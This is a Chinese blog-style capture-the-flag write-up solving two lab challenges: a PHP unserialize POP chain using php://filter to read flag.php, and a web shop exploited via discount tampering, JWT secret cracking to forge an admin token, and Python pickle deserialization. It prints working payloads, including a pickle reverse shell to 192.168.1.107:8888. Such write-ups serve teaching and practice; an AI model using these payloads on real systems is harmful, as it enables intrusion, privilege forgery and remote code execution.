2021-02-22

46 篇文章 0 订阅

[MRCTF2020]Ezpop

打开靶机
得到源码:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

代码审计:
共涉及以下魔术方法:

  • __construct() 当一个对象创建时被调用
  • __toString() 当一个对象被当作一个字符串使用
  • __wakeup() 将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
  • __get() 获得一个类的成员变量时调用
  • __invoke() 调用函数的方式调用一个对象时的回应方法

先回顾一下各类魔术方法:

  1. __construct 具有构造函数的类会在每次创建新对象时先调用此方法;初始化工作执行。
  2. __desstruct 对象的所有引用都被删除或者当对象被显式销毁时执行。
  3. __call()在对象中调用一个不可访问方法时,__call() 会被调用。
  4. __callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
  5. __set() 在给不可访问的属性赋值时调用
  6. __get() 读取不可访问的属性值是自动调用
  7. __isset() 当对不可访问的私有属性使用isset或empty时自动调用
  8. __unset() 当对不可访问的私有属性使用unset时;自动调用
  9. __toString()当一个类的实例对象;被当成一个字符串输出时调用
  10. __invoke() 当脚本尝试将对象调用为函数时触发
  11. __wakeup() 使用unserialize时触发
  12. __sleep() 使用serialize时触发

定义了三个类
Modifier:

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

声明保护字段类型$var
声明函数append,包含传入的文件
如果把对象当作一个函数调用时,触发__invoke()方法,然后包含文件

Show:

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

创建对象时触发__construct()方法,打印welcome to index.php,对象被当作字符串使用时触发__tostring(),序列化之后触发__wakeup,过滤了几个协议。

Test:

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

__construct()把p转换成数组,读取不可访问属性的值时调用__get() ,把p以函数的形式返回

思路:
反序列化构造pop链的题目要注意两个点

  1. 入口点,反序列化POP链构造的入口
  2. 找危险函数,如果含有某些危险函数就可能导致漏洞达到目的

而入口点要特别注意一些魔术方法,如__construct 、__desstruct、__wakeup等等

而这道题代码较为简单,同时发现了入口点与危险函数,正向分析和逆向分析都可以,为了更好的表现逻辑性,本文通过正向分析来解答此题
观察代码,发现有一个危险函数include()的内容可控,这里就可能造成文件包含漏洞
而反序列化的入口点在Show类中

解题:

我们看到Modifier类中有文件包含,且提示flag在flag.php中,因此我们的目的是能够读到include(flag.php),虽然过滤了几个协议,但filter没被过滤。
从反序列化进程开始分析,首先反序列化之后会触发__wakeup(),接着__wakeup()又会直接触发__tostring(),
从而访问str的成员source,这时如果我们让str等于Test类对象,由于Test中没有source, 就会触发__get(),将$ p以函数的形式返回,
而我们再让$ p等于Modifier的话,__invoke()方法就会触发,从而自动调用append函数包含flag.php

构造POP链

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
    public $p;

}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();


echo urlencode(serialize($a));

?>

即:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
传入后得到回显:在这里插入图片描述
解码即是flag

知识点:

  • pop链的思考与利用

  • 多种php魔术方法的特点

总结:

源码审计是真正挖洞的技术前提。

[CISCN2019 华北赛区 Day1 Web2]ikun

启动靶机:在这里插入图片描述
是一个类似的商城页面,提示在这里插入图片描述
下面是各种等级的B站账号,显然这题是想要我们购买一个lv6的账号,随便翻卡了几页还是没有看见lv6。

我们来抓包看看在这里插入图片描述
可以通过传page的值来跳到指定页。硬找肯定不行,不如我们来研究一下lv6的特点。

查看源码,发现不同等级的账号对应图片都有规律,lv3对应的就是lv3.png,因此我们可以写一个python脚本来搜索lv6到底在哪一页。

import requests
re = requests.session()
url = "http://ecf2b7e3-8f93-4dc4-b7f6-971e2808110c.node3.buuoj.cn/shop?page="
for i in range(0,1000):
    req = re.get(url+str(i))
    if "lv6.png" in req.text:
        print(i)
        break

运行结果为181

我们通过抓包跳转到181页,果然发现了尊贵的lv6在这里插入图片描述
打开购买,还没账号,,,果断注册一个。这里我尝试注册一个admin账号,可惜行不通。

这个lv6可是一个天价账号,但是不要心慌,抓包看一下。在这里插入图片描述
这个discount对应的折扣的比例,我们将他改的很小,比如0.0000000001,这才配得上尊贵的ikun的身份。

购买成功,但是这才刚刚开始。。。
拿到了后台的地址http://web44.buuoj.cn/b1g_m4mber
在这里插入图片描述
我们再来分析一下包,看看什么地方代表了我们的身份。

不难发现在这里插入图片描述
需要权限,这里涉及JWT破解 认识JWT

在这里插入图片描述(或者有个在线网站 http://jwt.io/,输入刚才的jwt字符串可以得到Header和Payload)

看到username是我自己的登陆名5,这里需要改为admin
后边解码不出来因为经过了sha256,需要破解key
找了一个工具破的 c-jwt-cracker(穷举暴力破解)在这里插入图片描述

我们解出密码1Kun

接下来只要修改username为admin 进行加密,得到新的jwt字符串既可。生成jwt的网站
在这里插入图片描述方法二:
这里提供一个python的实现方法,需要PyJwt库。

import jwt
 
headers = {
    'alg': "HS256",  # 声明所使用的算法
    'typ': "JWT"
}
token ={
    'username': "admin"
}
jwt_token = jwt.encode(token,
                       "1Kun",
                       "HS256",
                       headers
                       ).decode("ascii")
print(jwt_token)

我们将生成的jwt串替换原来的,再次刷新页面。
好的进来了在这里插入图片描述
点击按钮没反应,我们查看源码在这里插入图片描述
有源码泄露,看到了下载的路径,下载下来查看,发现存在Pickle反序列化。
(存在于views\Admin文件)在这里插入图片描述
我们可以通过构造类,通过__reduce的魔术方法来实现执行python代码。
第一步我们肯定是需要找到flag的位置,有两种方法来做。
这里用了Pickle协议的方法__reduce__(self)

PICKLE

Pickle模块中最常用的函数为:

(1)pickle.dump(obj, file, [,protocol])

函数的功能:将obj对象序列化存入已经打开的file中。	 
参数讲解:
      obj:想要序列化的obj对象。
      file:文件名称。
      protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(2)pickle.load(file)

 函数的功能:将file中的对象序列化读出。
 参数讲解: file:文件名称。

(3)pickle.dumps(obj[, protocol])

函数的功能:将obj对象序列化为string形式,而不是存入文件中。

参数讲解:
      obj:想要序列化的obj对象。
      protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(4)pickle.loads(string)

函数的功能:从string中读出序列化前的obj对象。
参数讲解:string:文件名称。

附:Pickle协议
在这里插入图片描述Python魔术方法指南

一:

通过执行python命令来获取

看网上的wp都是通过反射来实现获取flag的位置,但觉得没必要这么麻烦,找到了可以输出到页面上的方法。代码如下

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pickle
import urllib
import os
class payload(object):
    def __reduce__(self):
        return (os.listdir,('/',))   
 
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)
print a

注:

  1. 这里说一说踩到的坑,利用os.system(‘ls’)并不会在页面回显ls的查询结果,而是0(表示查询成功)(也就是说os.system并不会return 输出结果,他的结果是通过print输出的,同理,os.popen也是如此,同样不会返回结果)

  2. 学习了一波大佬的写法return (eval,(“import(‘os’).popen(‘ls’).read()”,)) 这种写法就可以回显所有系统命令的执行结果。给跪了。

通过os.listdir()函数来获取目录下所有文件的名字。这里我们设置起始为根目录。

将序列化的字符串替换become中的参数(点击一键成为大会员按钮,抓包发现有become参数,替换become参数)在这里插入图片描述发现flag.txt

二:通过反射

#python2
import pickle
import urllib
import os
​class exp(object):    
    def __reduce__(self):        
        s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """        
        return os.system, (s,)​
e=exp()
poc = pickle.dumps(e)
print urllib.quote(poc)
#目标ip改为服务器ip,端口设置可以任意设置

然后在服务器运行nc -lvp 端口号 即可。

buuctf平台的靶机并不能远程访问,所以在此给出方法,没办法复现。

获得flag位置后,我们可以通过构造

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt').read()",))
 
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))

成功获取flag在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值